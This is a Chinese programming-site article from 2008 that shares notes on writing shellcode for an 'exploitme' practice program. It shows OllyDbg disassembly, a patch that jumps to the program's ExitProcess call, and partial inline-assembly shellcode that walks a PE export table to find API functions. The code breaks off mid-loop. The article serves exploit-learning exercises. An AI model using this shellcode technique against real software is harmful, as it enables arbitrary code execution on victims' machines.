首页 > 新闻系统 > 编程天地 > 文章正文

shellcode之小小琢磨

2008-04-16 10:06:06 来源:中国自学编程网 作者:佚名 点击:
本文没有什么东西,只是我在研究exploitme时候的一点心得。文章内容其实很少,所以冠名“小小琢磨”。

  怎么办???

我的解决办法是修改从①开始到①结束位置的代码为:


引用:
mov eax,00402005h
jmp eax 
跳转到00402005h地址执行。
为什么这样做呢???

用od打开文件exploitmeA,右键->查找->所有模块间调用:
会看到下面两行:

引用:
00402005   call    dword ptr [<&KERNEL32.ExitProces  kernel32.ExitProcess
00402148   call    dword ptr [<&KERNEL32.ExitProces  kernel32.ExitProcess 
在exploitmeA中,00402005位置的代码:

引用:
00401FFB  |.  FF7424 08     push    dword ptr [esp+8]                ; /ExitCode
00401FFF  |.  893D F09A4000 mov     dword ptr [409AF0], edi          ; |
00402005  |.  FF15 28804000 call    dword ptr [<&KERNEL32.ExitProces>; \ExitProcess 
在这里退出程序。
这下子大家理解了吧。


修改后的shellcode为(修改后shellcode总长度308)

引用:
void  ShellcodeFunc()
{
  unsigned int uLoadLibrary,uGetProcAddress,uKernelBase;
  unsigned int ImageBase,flen;
  char *FuncName;  
  
  __asm
  {  
    ///////////////////////////
    //signature of ShellcodeStart
//    _emit ’S’   
//    _emit ’h’
//    _emit ’e’
//    _emit ’l’
//    _emit ’l’
//    _emit ’c’
//    _emit ’o’
//    _emit ’d’
//    _emit ’e’
//    _emit ’S’
//    _emit ’t’
//    _emit ’a’
//    _emit ’r’
//    _emit ’t’
    ////////////////////////////

    jmp Start
GetFunc:
    mov eax,ImageBase
    mov eax,[eax+0x3c]    
    add eax,ImageBase    
    mov eax,[eax+0x78]      
    add eax,ImageBase    
    mov esi,eax          
    mov ecx,[eax+0x18]    
    mov eax,[eax+0x20]    
    add eax,ImageBase
    mov ebx,eax  
    xor edx,edx
FindLoop:
    push ecx
    push esi
    mov eax,[eax]
    add eax,ImageBase
    mov esi,FuncName
    mov edi,eax
    mov ecx,flen
    cld
    rep cmpsb    
    pop esi      
9 7 3 1 2 3 4 5 6 4 8 :

相关文章:

    无相关新闻
    无相关新闻

精彩推荐
焦点大图推荐
本类热门文章

论坛美图

广告联系 | 版权说明 | 意见建议 | 加入收藏 | 军网站群 [ 军软件园 - 军软件商城 - 军软件园论坛 ]

电信与信息服务业务经营许可证:京ICP证050203